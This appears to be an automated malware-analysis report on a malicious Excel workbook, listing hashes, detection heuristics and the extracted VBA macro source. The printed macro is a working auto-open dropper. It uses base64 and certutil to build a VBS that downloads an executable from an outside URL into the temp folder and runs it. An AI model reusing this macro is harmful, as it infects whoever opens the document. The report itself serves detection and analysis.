Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 cdec3a7ec3302f79…

MALICIOUS

Office (OOXML)

18.3 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-04-25
MD5: 9fb62d41ee2da8eff052599a0ed4b57b SHA-1: cdfa52a4696c94ee88c27242728050d61f21fbad SHA-256: cdec3a7ec3302f79a88d584ceb522b13c187b8b6724c2d41e7cec033e6caa086
366 Risk Score

Heuristics 10

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell (command1)
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        decodeFile = "cmd /c certutil -decode %temp%/8888888.txt %temp%/8888888.vbs &&"
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        start1 = "cmd /c echo "
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.rejetto.com/hfs/hfs.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2067 bytes
SHA-256: ae8ece9b4fc142192a7b489a76b9f9fa82a59a25b658047832c84e9fc528352e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Auto_Open()
    Call writeFile1


End Sub



Sub writeFile1()
    string1 = "RElNIG9ialNoZWxsICAKc2V0IG9ialNoZWxsID0gd3NjcmlwdC5jcmVhdGVPYmplY3Qo"
    string2 = "IndzY3JpcHQuc2hlbGwiKSAKaVJldHVybiA9IG9ialNoZWxsLlJ1bigiY21kIC9jIGVj"
    string3 = "aG8gd2dldCAtVXJpICBodHRwczovL3d3dy5yZWpldHRvLmNvbS9oZnMvaGZzLmV4ZSAt"
    string4 = "T3V0RmlsZSAldGVtcCUvdi5leGUgfCBwb3dlcnNoZWxsIC0gJiYgJXRlbXAlL3YuZXhl"
    string5 = "ICIsIDAsIFRSVUUpICAKCQ=="
    
    status1 = string1 & string2 & string3 & string4 & string5
    
    start1 = "cmd /c echo "
    end1 = " > %temp%/8888888.txt"
    command1 = start1 & status1 & end1
    
    Shell (command1)
    decodeFile = "cmd /c certutil -decode %temp%/8888888.txt %temp%/8888888.vbs &&"
    executeFile = " %temp%/8888888.vbs "
    command2 = decodeFile & executeFile
    Shell (command2)
    
End Sub

Sub addCommand()
    Url = "https://www.rejetto.com/hfs/hfs.exe"
    tempFile = " >> %temp%/8888888.vbs"
    string1 = "LU91dEZpbGUgJXRlbXAlL3YuZXhlIHwgcG93ZXJzaGVsbCAtICYmICV0ZW1wJS92LmV4"
    string2 = "ZSAiLCAwLCBUUlVFKQ=="
    command1 = "cmd /c echo|set /q=" & Url & tempFile
    Shell (command1)
End Sub

Sub test()
    
End Sub

Sub AutoOpen()
    Auto_Open
End Sub

Sub Workbook_Open()
    Auto_Open
End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Auto_Open()
    Shell ("calc.exe")


    
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 28672 bytes
SHA-256: 054cbbd320e3de9db31d423d8c0ad535e54594ef31bffae0ee9f57b26e47387e
Detection
ClamAV: Doc.Downloader.Generic-6698421-0
Obfuscation or payload: unlikely